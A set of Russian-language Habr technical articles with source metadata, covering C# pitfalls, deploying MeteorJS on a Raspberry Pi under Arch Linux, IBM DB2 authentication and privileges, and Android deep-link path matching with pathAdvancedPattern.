Помимо генеалогических древ, можно ~~превращать другие буханки хлеба в троллейбусы~~ кодировать в гите генеалогические древа языков программирования (это еще больше "по-кодерски"), синтаксические деревья и вообще любые древовидные структуры. Гит можно освоить и домохозяйкам, чтобы выстраивать взаимосвязи между героями бразильских сериалов :) Практическая польза: эта разминка помогает лучше понять устройство гита, его команды, а также формат описания генеалогических деревьев GEDCOM. *Исходники самой статьи [доступны на GitHub](https://github.com/KvanTTT/Articles/tree/master/Genealogy-Tree-In-Git) — присылайте pull request туда, если найдете ошибки или захотите дополнить контент. Для конвертации в формат habr.com используется библиотека [MarkConv](https://github.com/KvanTTT/MarkConv).*
https://habr.com/ru/post/351158/
null
ru
null
# С#: 10 распространенных ловушек и ошибок Предлагаю вашему вниманию перевод [статьи](https://codeaddiction.net/articles/38/10-common-traps-and-mistakes-in-c) о «ловушках» в С#. Данная статья будет полезна начинающим программистам пока еще не знакомым с тонкостями языка. Приятного чтения. --- *«Это все мелочи, мелочи. Но нет ничего важнее мелочей.»*   1. Использование ошибочного типа коллекции ========================================== .Net имеет множество классов коллекций, и все они специализируются на специфических задачах. Выбор класса нужно делать внимательно. Ошибившись в выборе, вы получите неэффективный код, непредвиденные значения, а также сделаете непонятным смысл кода. → [Подробнее здесь](https://msdn.microsoft.com/en-us/library/6tc79sx1%28v=vs.110%29.aspx) 2. Неиспользование yield return =============================== При перечислении объектов для вызова следует использовать оператор yield return, а не создавать возвращающую коллекцию(*прим.переводчика*: зависит от ситуации). Преимущества этого шаблона: * не нужно хранить целую коллекцию в памяти (она может быть очень большой) * yield return непосредственно возвращает управление вызвавшей функции после каждой итерации * идет обработка только тех результатов, которые будут использоваться (зачем перебирать всю коллекцию, если вызывающая функция хочет получить первое значение) 3. Анализ двусмысленных дат =========================== Обязательно нужно указывать формат, если речь идет об анализе неоднозначных дат. Например, в строке «03/04/05» непонятно, что является днем, что месяцем, а что годом, и это может привести к серьезным ошибкам для пользователя. Здесь используйте DateTime.ParseExact / DateTimeOffset.ParseExact для предоставления спецификатора формата: ``` var date = DateTime.ParseExact("01/12/2000", "MM/dd/yyyy", null) ``` 4. Повторная обработка исключения с его экземпляром =================================================== Если вы хотите поймать и повторно обработать исключение, обязательно используйте простой throw. Если вы вдруг используете throw ex, он не будет сохранять стек вызовов исключения. Используйте: ``` catch(SomeException ex) { logger.log(ex); throw; } ``` И не используйте: ``` catch(SomeException ex) { logger.log(ex); throw ex; } ``` 5. Обращение к виртуальным компонентам в конструкторе ===================================================== Виртуальный дескриптор позволяет членам класса быть переопределенными в производном классе. Конструкторы выполняются по ходу от базового класса к производным. То есть, если вы вызываете переопределенный метод из конструктора базового класса, может быть вызван код, не готовый к выполнению (это может зависеть от завершения инициализации в его собственном конструкторе). Например: ``` public class Parent { public Parent() { Console.WriteLine("Parent Ctor"); Method(); } public virtual void Method() { Console.WriteLine("Parent method"); } } public class Child : Parent { public Child() { Console.WriteLine("Child Ctor"); } public override void Method() { Console.WriteLine("Child method"); } } ``` Инициализация дочернего класса будет выглядеть следующим образом: 1. Родительский конструктор 2. Дочерний метод 3. Дочерний конструктор Т.е. дочерний метод вызывается перед дочерним конструктором. 6. Исключения в статическом конструкторе ======================================== Если класс генерирует исключение в статическом конструкторе, он делает класс бесполезным. Даже нестатическая конструкция будет невозможна. Класс будет генерировать System.TypeInitializationException всякий раз, когда на него ссылаются (статически или нет). 7. Необязательные параметры во внешней сборке ============================================= Необязательные параметры могут работать не так, как ожидалось, если на них ссылаться из внешней сборки. Скажем, у вас есть некоторый функционал, упакованный в DLL. И, скажем, вы хотите внести незначительные изменения в код (изменить необязательный параметр на другое значение). Потребитель DLL должен будет произвести перекомпиляцию для того, чтобы ваши изменения вступили в силу. → [Подробнее здесь](http://www.blackwasp.co.uk/DefaultParameterProblem.aspx) 8. Универсальные методы с неуниверсальной перегрузкой ===================================================== Скажем, вы имеете универсальный метод, принимающий параметр типа Т и еще один метод с тем же именем, но принимающий параметр конкретного типа. Компилятор будет выбирать более подходящий метод для каждого типа параметра, и явно определённый тип более корректен, чем универсальный. Например, есть следующий класс: ``` class GenericTest { public void Test(T parameter) { Console.WriteLine("Generic method!"); } public void Test(string parameter) { Console.WriteLine("Non-generic method!"); } } ``` И следующий код… ``` var instance = new GenericTest(); instance.Test(7); instance.Test("foo"); ``` Выдаст вам результат: ``` Generic method! Non-generic method! ``` Т.е. компилятор выбирает более специфический строковый метод при втором вызове. 9. Изменение хэш-кода после добавления объекта в словарь ======================================================== Словари зависят от значений ключей, возвращенных методом Object.GetHashCode(). Это означает, что хэш-код ключа не может быть изменен после добавления в словарь. 10. ValueType.Equals будет тормозить, если структура содержит компонент-ссылку ============================================================================== Убедитесь, что ваша структура не содержит компонент-ссылку, если вы хотите использовать ValueType.Equals для сравнения двух экземпляров. Медленная работа связана с тем, что ValueType.Equals будет использовать рефлексию, чтобы определить ссылочный компонент, а это может быть немного медленнее, чем ожидалось. Автор оригинала: Robert Bengtsson
https://habr.com/ru/post/322394/
null
ru
null
# Установка MeteorJS на Raspberry Pi B+ под управлением Arch Linux ARM ![](https://habrastorage.org/r/w1560/files/5dc/c1c/7f1/5dcc1c7f1b004898b1ac70cc8d27e853.png) Если найдётся ещё кто-нибудь, кто как и я вдруг решить использовать RPI в качестве домашнего или тестового сервера с развёрнутым meteor-приложением, надеюсь ему пригодится эта инструкция. Выбор пал именно на Arch Linux, поскольку, как мне известно, в настоящее время это единственный дистрибутив для платформы ARM, поддерживающий работу MongoDB на localhost. Обычно я пользуюсь Mac OS X и Ubuntu, и это была моя первая встреча с Arch Linux, поэтому кое-какие процедуры вызвали вопросы и заставили покопаться в интернете. Возможно, кому-то эта инструкция покажется примитивной, но я хотел бы найти такую до того, как столкнулся с трудностями. Если вы найдёте неточность, ошибку или захотите что-то добавить — милости прошу в комментарии. #### **1. Установка Arch Linux ARM** Скачиваем и распаковываем архив с img-образом [отсюда](http://downloads.raspberrypi.org/arch/images/arch-2014-06-22/ArchLinuxARM-2014.06-rpi.img.zip), затем записываем его на mSD-карту. На своём маке я использовал для этого приложение [ApplePi Baker](http://www.tweaking4all.com/downloads/raspberrypi/ApplePi-Baker.zip). После записи вставляем карту памяти в RPI и логинимся через ssh: ``` $ ssh root@192.168.1.11 ``` Пароль по умолчанию — 'root'. #### **2. Расширение корневого раздела** Достаточно подробно процедура расширения дискового пространства раздела описана в этом [материале](http://habrahabr.ru/post/219307/) юзера [dmitriy5181](https://habrahabr.ru/users/dmitriy5181/). От себя хочу добавить, что для обеспечения работы MongoDB не следует устанавливать в файле /etc/fstab параметр noatime — с ним Mongo у меня не заработал. #### **3. Установка часового пояса** Проверяем текущие установки ``` # timedatectl status ``` При необходимости смотрим, какие есть часовые пояса, выбираем подходящий ``` # timedatectl list-timezones ``` И устанавливаем его командой ``` # timedatectl set-timezone Europe/Minsk ``` #### **4. Установка node.js и зависимостей** В общем случае для работы node,js понадобятся python2, утилита make и набор компиляторов GCC. Установим всё необходимое ``` # pacman -Sy nodejs mongodb python2 make gcc ``` #### **5. Создание символьной ссылки на python** При установке python2 в Arch Linux создаётся символьная ссылка /usr/bin/python2, но нам потребуется ссылка с именем python, поэтому просто скопируем существующую ``` # cp /usr/bin/python2 /usr/bin/python ``` #### **6. Запуск установленного Mongo** ``` # systemctl start mongodb ``` Проверить состояние его работы можно командой ``` # systemctl status mongodb ``` В Arch Linux присутствует демон [systemd](https://ru.wikipedia.org/wiki/Systemd), поэтому для добавления MongoDB в автозапуск достаточно выполнить команду ``` # systemctl enable mongodb ``` #### **7. Перенос проекта** На рабочей машине (на той, где вы ведёте разработку проекта с MeteorJS) в папке с приложением (например, ~/meteorapps) создаём бандл нужного проекта командой ``` $ meteor bundle myapp.tgz ``` Затем переносим созданный app.tgz на карту памяти mSD и распаковываем ``` tar -xvzf myapp.tgz ``` #### **8. Установка специфических зависимостей** Для начала переустановим библиотеку для работы с unicode (с системной версией что-то было не так) ``` # pacman -Sy libunistring ``` Установим пакеты для node.js ``` # npm install fibers@1.0.1 bcrypt@0.7.7 ``` Я использовал специфические версии, но полагаю, что с последними тоже всё заработает. Если нет — их всегда можно переустановить, используя команду, приведённую выше. Также для моего проекта понадобились некоторые библиотеки ``` # npm install underscore source-map-support semver # npm install ``` #### **9. Запуск приложения** Если всё готово, запуск приложения можно осуществить следующим образом. Создадим файл, в котором будет описан наш сервис и способ его запуска ``` # nano /usr/lib/systemd/system/myapp.service ``` Содержимое файла myapp.service ``` [Unit] Description=My awesome Meteor.JS app After=mongodb.target [Service] User=pi Environment=ROOT_URL=http://192.168.1.11 PORT=80 MONGO_URL=mongodb://localhost:27017/myapp ExecStart=/usr/bin/node /home/pi/meteorapps/myapp/main.js [Install] WantedBy=multi-user.target ``` Здесь нужно подставить имя пользователя, PORT, ROOT\_URL и путь к main.js. Запуск сервиса осуществляется командой ``` # systemctl start myapp ``` Аналогично случаю с MongoDB сервис можно добавить в автозапуск ``` # systemctl enable myapp ``` Если всё прошло гладко, теперь можно зайти с рабочей машины по адресу [192.168.1.11](http://192.168.1.11) и увидеть морду приложения.
https://habr.com/ru/post/249677/
null
ru
null
# Введение в IBM DB2 По работе пришлось в течение некоторого времени разбираться с СУБД IBM DB2. Т.к. система коммерческая, то в интернете не так много информации на русском языке, поэтому решил описать некоторые особенности работы этой СУБД. #### Точка входа Начнем со входной точки в СУБД. В SQL SERVER конечной точкой является экземпляр (instance), в котором конечно могут быть отдельные базы данных, но конфигурация и модель безопасности единая для всего экземпляра. В DB2 же точка входа выглядит так — экземпляр (который соответствует конкретному порту) — база данных. При этом конфигурация есть и для целиком экземпляра, и для отдельной базы данных. Посмотреть конфигурацию экземпляра можно либо с помощью db2-команды: `**get database manager configuration**` `Database Manager Configuration Node type = Enterprise Server Edition with local and remote clients Database manager configuration release level = 0x0b00 CPU speed (millisec/instruction) (CPUSPEED) = 2.912790e-07 Communications bandwidth (MB/sec) (COMM_BANDWIDTH) = 1.000000e+02 Max number of concurrently active databases (NUMDB) = 8 Federated Database System Support (FEDERATED) = YES Transaction processor monitor name (TP_MON_NAME) = Default charge-back account (DFT_ACCOUNT_STR) = Java Development Kit installation path (JDK_PATH) = /home/db2inst1/sqllib/java/jdk32 Diagnostic error capture level (DIAGLEVEL) = 3 Notify Level (NOTIFYLEVEL) = 3 Diagnostic data directory path (DIAGPATH) = /home/db2inst1/sqllib/db2dump Default database monitor switches Buffer pool (DFT_MON_BUFPOOL) = OFF` Где будут указаны параметры, их значение и расшифровка. Возможен также сокращенный вариант: `**get dbm cfg**` Либо с помощью запроса: `select name, value from sysibmadm.dbmcfg` Из важных параметров можно отметить: * тип аутентификации (AUTHENTICATION) * путь по умолчанию для создания новых БД (DFTDBPATH) * обнаружение сервера по сети (DISCOVER) Посмотреть настройки конкретной базы можно так: `**connect to sample** (sample - имя бд) **get database manager configuration**` Либо примерно таким же запросом, как и ранее: `**select name, value from sysibmadm.dbcfg**` #### Аутентификация Большим отличием DB2 от других СУБД является модель аутентификации. Здесь нет внутренних пользователей, как в SQL Server или MySQL. Вся аутентификация производится внешними по отношению к СУБД средствами (динамически подгружаемыми плагинами) — средствами операционной системы либо внешними плагинами (Kerberos,GSS API). Тип аутентификации задается в параметре AUTHENTICATION конфигурации менеджера БД. По умолчанию выставлено значение SERVER — имя пользователя и пароль передается в открытом виде и данная пара проверяется на правильность средствами операционной системы. Если имя пользователя и пароль верны, то проверяется наличие привилегии CONNECT у пользователя или групп, в которые он входит (в т.ч. специальная группа PUBLIC, куда входят все авторизованные пользователи). Данные привилегии можно посмотреть в таблице [SYSCAT.DBAUTH](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0001041.htm): `**select GRANTEE from SYSCAT.DBAUTH where CONNECTAUTH = 'Y'**` **Большой ошибкой при настройке является включение типа аутентификации CLIENT.** В этом случае DB2 доверяет проведение аутентификации подключаемому клиенту и если у PUBLIC есть привилегия CONNECT, то любой пользователь сможет подключиться к БД и получит доступ ко всем данным, которые есть у PUBLIC. Имя пользователя при этом берется из операционной системы. То есть если мы подключаемся через Data Studio пользователем Administrator, то будут предоставлены все привилегии, которые есть у данного пользователя. И в этом случае нет разницы, с какого компьютера был произведен доступ. Данный тип аутентификации рекомендуется включать только тогда, когда есть защищенный канал между сервером и клиентом, и другие клиенты не смогут подключиться к СУБД. #### Авторизация Привилегии уровня конкретного экземпляра прописываются в конфигурации менеджера БД. Это следующие привилегии: * SYSADM * SYSCTRL * SYSMAINT * SYSMON Задаются данные привилегии с помощью указания группы, куда будет входить пользователь. В dbmcfg это соответственно параметры [SYSADM\_GROUP](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0000311.htm), [SYSCTRL\_GROUP](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0000312.htm), [SYSMAINT\_GROUP](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0000313.htm) и [SYSMON\_GROUP](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0011458.htm). Далее есть привилегии конкретной базы данных. Это такие привилегии, как доступ к базе данных (CONNECTAUTH), создание таблиц (CREATETABAUTH), создание подпрограмм (EXTERNALROUTINEAUTH) и тд. Данные привилегии можно просмотреть в представлении [SYSCAT.DBAUTH](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0001041.htm) И наконец привилегии доступа к конкретным данным — таблицам, подпрограммам и тд. Здесь все довольно тривиально, но тоже с некоторыми особенностями. Привилегии доступа к таблицам можно просмотреть в представлении [SYSCAT.TABAUTH](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0001061.htm). Тип выданной привилегии хранится в отдельных колонках, в зависимости от самой привилегии (SELECTAUTH,DELETEAUTH и тд). При выдачи привилегии с помощью команды GRANT для привилегий REFERENCES и UPDATE можно также указать имена колонок, на которые будут распространяться данные привилегии. В этом случае информацию об этом можно посмотреть в представлении [SYSCAT.COLAUTH](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0001035.htm) Привилегии подпрограмм (функций, процедур и методов) можно посмотреть в [SYSCAT.ROUTINEAUTH](http://publib.boulder.ibm.com/infocenter/db2luw/v9/topic/com.ibm.db2.udb.admin.doc/doc/r0007491.htm). Здесь не совсем все тривиально, в зависимости от полей SPECIFICNAME и TYPENAME привилегии могут быть выданы на все подпрограммы заданной схемы. Если читателям понравится статья, то готов рассказать по поводу защиты данных в DB2 с помощью Label-Based Access Control
https://habr.com/ru/post/128932/
null
ru
null
# Как обработать deep link со сложным path? Вот так Всем привет! Эта статья получилась совершенно случайно. Когда мы готовили Deep Dive Into Deep Link ([habr](https://habr.com/ru/post/686990/), [mobius](https://2022spring.mobiusconf.com/talks/327f5418c684d5f102fd59732cf0ac19/) в 2022 году), пришли к выводу:  > Не существуют удобного и гибкого инструмента для фильтрации сложных path на уровне ОС. > > Меня никак не успокаивало то, что в Android нет ничего лучше, чем pathPattern с двумя бедными `.` и `*`. Я уже начал оправдывать Google. Придумал причину почему сделано именно так: > Ограничения в регулярных выражениях для `pathPattern` сделаны для того, чтобы не замедлять intent resolution. > > Даже после этого, казалось бы логичного объяснения, мне все равно не верилось, что такая очевидная функция недоступна и я решил в последний раз погуглить. Вот, что нашлось: * developer.android.com: [Create Deep Links to App Content](https://developer.android.com/training/app-links/deep-linking). Нет сложных сценариев. * Medium: [How to manage a complex DeepLinks scheme on your Android App](https://medium.com/android-news/how-to-manage-a-complex-deeplinks-scheme-on-your-android-app-d441143cec7e). Говорит, что нет полноценной поддержки регулярок. * Stack Overflow: [How to use PathPattern in order to create DeepLink Apps Android?](https://stackoverflow.com/questions/52436111/how-to-use-pathpattern-in-order-to-create-deeplink-apps-android) Тоже ничего примечательного. И натыкаюсь на это… Stack Overflow: [How to use PATTERN\_ADVANCED\_GLOB in android manifest intent-filter?](https://stackoverflow.com/questions/54499463/how-to-use-pattern-advanced-glob-in-android-manifest-intent-filter-data) В этом треде указывают на то, что у [PatternMatcher](https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/os/PatternMatcher.java) есть атрибут `PATTERN_ADVANCED_GLOB`. Автор спрашивает, может ли он им воспользоваться в ? Ему отвечают, что так нельзя. `PATTERN_ADVANCED_GLOB` был добавлен в API 26 и Google ничего не анонсировал никакие связанные с ними фичи. Дальше самое смешное. Автор отвечает: > I see - but well they could create a android:pathPatternAdvanced and leave the rest untouched, surely that wouldn't break anything. But this is getting off-topic. Thank you! > > С тех пор прошло 3 года))) Я уже было отчаялся и решил в последний раз взглянуть в [документацию…](https://developer.android.com/guide/topics/manifest/data-element#path) И знаешь что? Там появился атрибут `pathAdvancedPattern`! Кажется, Дед Мороз подбросил его туда перед самым Новым годом! 🎅🎄Клянусь, я не видел этот атрибут когда готовил Deep Dive Into Deep Link. Его там не было! Более того, в сети еще нет ни одной статьи о pathAdvancedPattern! Дарю ее тебе 🎁 С наступающим! Возможности pathAdvancedPattern ------------------------------- В отличие от pathPattern, у которого доступны специальные символы: `.`, `*` , pathAdvancedPattern может обрабатывать: `.`, `*`, `[...]`, `^`, `+`, `{...}`. Давайте разберем каждый паттерн на примерах. Как это будет выглядеть в коде ``` ``` Все примеры ниже я буду запускать на эмуляторе Pixel 2, arm64, API 31 при помощи команды adb shell am start -d .Все примеры ниже я буду запускать на эмуляторе Pixel 2, arm64, API 31 при помощи команды adb shell am start -d .Все примеры ниже я буду запускать на эмуляторе Pixel 2, arm64, API 31 при помощи команды adb shell am start -d .Все примеры ниже я буду запускать на эмуляторе Pixel 2, arm64, API 31 при помощи команды adb shell am start -d . Все примеры ниже я буду запускать на **эмуляторе Pixel 2, arm64, API 31** при помощи команды `adb shell am start -d` . Как и `pathPattern`, в `pathAdvancedPattern` доступна точка `.` для обозначение одного произвольного символа.  | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/…` | *scheme://host/abc* | Да | | *scheme://host/1.2* | Да | | *scheme://host/=\_0* | Да | | *scheme://host/=\_\** | Нет. `no matches found` | | *scheme://host/=\_>* | Нет. `parse error near `\n'` | | *scheme://host/=\_)* | Нет. `parse error near `)'` | К сожалению, даже несмотря на обещанные [“any character”](https://developer.android.com/guide/topics/manifest/data-element#path), их обработать не получится (примеры с `*`, `>`, `)`). К счастью, такие символы встречаются не часто 🙂 Звездочка `*` указывает, что символ, идущий сразу перед ней, может быть повторен 0 или сколько угодно раз. | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/.*` | *scheme://host/abc* | Да | | *scheme://host/1* | Да | | *scheme://host/\_\_0\_\_* | Да | | *scheme://host/some/0…(65469 нулей)...0* | Нет. `error: closed` | Да я уже вижу ваши голодные глаза, смотрящие на “сколько угодно раз” 👹 Вопрос из категории “зачем я это знаю”: сколько символов сможет обработать \*? Ответ 65471. Чтобы это узнать я запустил: `adb shell am start -d scheme://host/some/0…(65469 нулей)...0` —  и увидел в терминале `error: closed`. Плюс `+` указывает, что символ, идущий сразу перед ним, может быть повторен 1 или сколько угодно (65471) раз. Интересное замечаниеЕсли в host добавить **X** символов, то количество нулей нужно будет сократить на **X**: *scheme://host/some/0…(****65469*** *нулей)...0*, *scheme://host/some****123****/0…(****65466*** *нулей)...0*. Подозреваю, что ограничение на длину распространяется не на сам path, а на URL в целом (65490 символов). | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/.+` | *scheme://host/1* | Да | | *scheme://host/asv* | Да | | *scheme://host/\_+++* | Да | | *Аналогично для* `/*` | Нет | | `/e+` | *scheme://host/e* | Да | | *scheme://host/ee* | Да | | *scheme://host/eeeeee* | Да | | *scheme://host/* | Нет | | *scheme://host/ea* | Нет | | *scheme://host/aaa* | Нет | | `/e+a` | *scheme://host/ea* | Да | | *scheme://host/eea* | Да | | *scheme://host/eeeeea* | Да | | *scheme://host/ec* | Нет | | *scheme://host/eca* | Нет | | *scheme://host/eeac* | Нет | Квадратные скобки `[...]` указывают на множество символов, по которым будет выполняться соответствие. Внутри квадратных скобках может быть использован дефис `-` для обозначения промежутка между символом слева и справа. Дефис удобен для сокращения записи последовательности символов идущих друг за другом. Символ крышечки `^` используется для инвертирования множества. | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/[a1_]+` | *scheme://host/a* | Да | | *scheme://host/11111* | Да | | *scheme://host/aa\_1\_\_11* | Да | | *scheme://host/c* | Нет | | *scheme://host/a1d\_* | Нет | | *scheme://host/1\_\_\_\_aca* | Нет | | `/[a-zA-Z]+` | *scheme://host/valery* | Да | | *scheme://host/Valery* | Да | | *scheme://host/AbCdE* | Да | | *scheme://host/valery1* | Нет | | *scheme://host/va\_petrov* | Нет | | *scheme://host/* | Нет | | `/[^0-9]` | *scheme://host/\_* | Да | | *scheme://host/a* | Да | | *scheme://host/P* | Да | | *scheme://host/0* | Нет | | *scheme://host/1* | Нет | | *scheme://host/ab* | Нет | | `/[+]+` | *scheme://host/+* | Да | | *scheme://host/+++* | Да | | *scheme://host/a* | Нет | | *scheme://host/+-* | Нет | Фигурные скобки `{...}` используются для обозначения количества повторений шаблона. Внутри скобок может быть указано: * Одно число. Шаблон должен повториться ровно указанное число. Ни больше, ни меньше. * Два числа через запятую. Количество повторений больше или равно числу слева и меньше или равно числу справа. * Одно число и запятая. Как и в предыдущем случае, но без ограничений справа. | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/abc{3}` | *scheme://host/abccc* | Да | | *scheme://host/abc* | Нет | | *scheme://host/abcccc* | Нет | | *scheme://host/abcabcabc* | Нет | | `/[0-9]{2,4}` | *scheme://host/12* | Да | | *scheme://host/987* | Да | | *scheme://host/0246* | Да | | *scheme://host/1* | Нет | | *scheme://host/12345* | Нет | | `/[a-z]{3,}` | *scheme://host/abc* | Да | | *scheme://host/zxyulmn* | Да | | *scheme://host/ab* | Нет | | *scheme://host/p* | Нет | | `/[a-z]{,3}` | Такой паттерн не скомпилируется | Обратный слеш `\` позволяет делать специальные символы обычными. Необходимо учитывать, что обратный слеш в XML используется в качестве escape character, поэтому при парсинге он “съедается”. Чтобы не потерять слеш необходимо писать `\\`. А чтобы экранировать слеш —  `\\\\`. В этих примерах будь внимательнее 🔎 | | | | | --- | --- | --- | | `pathAdvancedPattern` | Пройдет фильтр | Не пройдет фильтр | | `/\+` | *scheme://host/* | Да | | *scheme://host////* | Да | | *scheme://host///////* | Да | | *scheme://host/+* | Нет | | `/\\+` | *scheme://host/+* | Да | | *scheme://host/* | Нет | | *scheme://host///* | Нет | | `/\\\\` | *scheme://host/*\ | Да. При запуске из adb необходимо прописать \\\\ | | *scheme://host/*\\ | Нет | Гораздо больше возможностей, не правда ли? Теперь эти шаблоны можно использовать для обработки ссылок, о которых мы раньше только мечтали ✨: | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/user/[0-9]+` | */user/0* | Да | | */user/123* | Да | | */user/9876* | Да | | */user/* | Нет | | */user/abc* | Нет | | */user/12a* | Нет | | `/login/[a-zA-Z0-9]+` | *scheme://host/name/valery007* | Да | | *scheme://host/login/1^v* | Нет | | `/phone/\+7[0-9]{10}` | *scheme://host/phone/+79876543210* | Да | | *scheme://host/phone/+7987* | Нет | | *scheme://host/phone/79876543210* | Нет | | *scheme://host/phone/9876543210* | Нет | | `/uuid/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}` | *scheme://host/uuid/123e4567-e89b-12d3-a456-426614174000* | Да | | *scheme://host/uuid/invalid-uuid* | Нет | Все примеры выше я тестировал на API 31. Заявлено, что `pathAdvancedPattern` работает с API 26. И вот я настраиваю `android:pathAdvancedPattern="/[0-9]{2}"`  запускаю на Android 8.0 и… Не все так гладко ----------------- | | | | | --- | --- | --- | | `pathAdvancedPattern` | Ссылка | Пройдет фильтр? | | `/[0-9]{2}` | *scheme://host/12* | Да | | *scheme://host/1* | Да | | *scheme://host/123* | Да | | *scheme://host/abc123* | Да | | Не нашел (кроме примера с максимальной длиной и специальными символами) | Нет | Он начинает обрабатывать всё! Все заявленные возможности как будто бы просто игнорируются! Я решил повторить тесты для Android 7.0, 9.0, 10.0, 11.0, 12.0, 13.0. Напоминаю, тестовое устройство: **эмулятор Pixel 2, arm64**. Для Android 7.0 (API 24), 8.0 (API 26), 9.0 (API 28), 10.0 (API 29), 11.0 (API 30) значение `pathAdvancedPattern` игнорируется. Приложение ведет себя так, как если бы вместо, например `/[0-9]{2}`, было бы написано `/.*`. Заявленные в `pathAdvancedPattern` шаблоны работают только начиная с API 31: Android 12.0 (API 31), 13.0 (API 33). Попытки разобраться ------------------- На самом деле, все что описано выше я узнал не сразу. Мне пришлось несколько дней разбираться с тем, почему `pathAdvancedPattern` не работает на API 26. В один день я почти отчаялся и чуть не решил забросить статью, но запустил на API 31 и это спасло положение. В кратце опишу, что я узнал в те несколько дней. Intent resolution состоит из множества этапов. Я решил начать с `PatternMatcher`. Нашел [коммит](https://android.googlesource.com/platform/frameworks/base/+/2baf095ca9e3827f721271a915d1e04db0718bf9) в котором появился `PATTERN_ADVANCED_GLOB`. Создал тестовое приложение и написал там код: ``` val patternMatcher = PatternMatcher("/user/[0-9]{3}", PATTERN_ADVANCED_GLOB) ... append("/user/1 - ${patternMatcher.match("/user/1")}\n") append("/user/123 - ${patternMatcher.match("/user/123")}\n") append("/user/1234 - ${patternMatcher.match("/user/1234")}\n") append("/user/12a - ${patternMatcher.match("/user/12a")}\n") ``` Запустил на API 26 и увидел: ``` PatternMatcher: /user/1 - false /user/123 - true /user/1234 - false /user/12a - false ``` Отработал как надо. Идем дальше. Посмотрим на IntentFilter. Пишу код: ``` val intentFilter = IntentFilter().apply { addAction(Intent.ACTION_VIEW) addCategory(Intent.CATEGORY_DEFAULT) addDataScheme("myscheme") addDataAuthority("myhost", null) addDataPath("/user/[0-9]{3}", PATTERN_ADVANCED_GLOB) } ... val intent1 = Intent(Intent.ACTION_VIEW, Uri.parse("myscheme://myhost/user/1")) val intent2 = Intent(Intent.ACTION_VIEW, Uri.parse("myscheme://myhost/user/123")) val intent3 = Intent(Intent.ACTION_VIEW, Uri.parse("myscheme://myhost/user/1234")) val intent4 = Intent(Intent.ACTION_VIEW, Uri.parse("myscheme://myhost/user/12a")) ... append("myscheme://myhost/user/1 - ${intentFilter.match(contentResolver, intent1, true, "EXP-1!")}\n") append("myscheme://myhost/user/123 - ${intentFilter.match(contentResolver, intent2, true, "EXP-2!")}\n") append("myscheme://myhost/user/1234 - ${intentFilter.match(contentResolver, intent3, true, "EXP-3!")}\n") append("myscheme://myhost/user/12a - ${intentFilter.match(contentResolver, intent4, true, "EXP-4!")}\n") ``` Запускаю на API 26 и вижу: ``` IntentFilter: myscheme://myhost/user/1 - -2 myscheme://myhost/user/123 - 5275648 myscheme://myhost/user/1234 - -2 myscheme://myhost/user/12a - -2 ``` Что за магические числа? `intentFilter.match` возвращает число, которое означает по каким категориям прошло соответствие. Например, `MATCH_CATEGORY_HOST`, `MATCH_CATEGORY_SCHEME`, `NO_MATCH_DATA` и другие или их сумму (подробнее [здесь](https://developer.android.com/reference/android/content/IntentFilter)). * `NO_MATCH_DATA = -2`. Это значит, что intent не прошел фильтр из разницы в data URI. * `MATCH_CATEGORY_PATH + MATCH_ADJUSTMENT_NORMAL = 5275648`. Это значит, что data URI intent соответствует фильтру. То, что и ожидалось от рабочего `PATTERN_ADVANCED_GLOB`. Идем на уровень выше: `PackageManager`. Будем вызывает метод [queryIntentActivities](https://developer.android.com/reference/android/content/pm/PackageManager#queryIntentActivities(android.content.Intent,%20int)) для получения всех активностей, которые могут быть запущены по указанному intent. Дописываю код: ``` var queryIntentActivities1: List = packageManager.queryIntentActivities(intent1, MATCH\_DEFAULT\_ONLY) var queryIntentActivities2: List = packageManager.queryIntentActivities(intent2, MATCH\_DEFAULT\_ONLY) var queryIntentActivities3: List = packageManager.queryIntentActivities(intent3, MATCH\_DEFAULT\_ONLY) var queryIntentActivities4: List = packageManager.queryIntentActivities(intent4, MATCH\_DEFAULT\_ONLY) ... append("queryIntentActivities - myscheme://myhost/user/1 = \n$queryIntentActivities1\n") append("queryIntentActivities - myscheme://myhost/user/123 = \n$queryIntentActivities2\n") append("queryIntentActivities - myscheme://myhost/user/1234 = \n$queryIntentActivities3\n") append("queryIntentActivities - myscheme://myhost/user/12a = \n$queryIntentActivities4\n") ``` Настраиваю intent-filter: ``` ``` Запускаю: ``` queryIntentActivities - myscheme://myhost/user/1 = [ResolveInfo{79cc25c ru.valeryvpetrov.dev.pathadvancedpattern/.MainActivity m=0x308000}] queryIntentActivities - myscheme://myhost/user/123 = [ResolveInfo{1ef965 ru.valeryvpetrov.dev.pathadvancedpattern/.MainActivity m=0x308000}] queryIntentActivities - myscheme://myhost/user/1234 = [ResolveInfo{64b263a ru.valeryvpetrov.dev.pathadvancedpattern/.MainActivity m=0x308000}] queryIntentActivities - myscheme://myhost/user/12a = [ResolveInfo{e8122eb ru.valeryvpetrov.dev.pathadvancedpattern/.MainActivity m=0x308000}] ``` У `ResolverInfo` есть атрибут [match](https://developer.android.com/reference/android/content/pm/ResolveInfo#match). Он показывает то, как ОС оценила соответствие intent фильтру. В логе отображается шестнадцатеричное число. `0x30800` соответствует `3178496` в десятичной системе счисления. 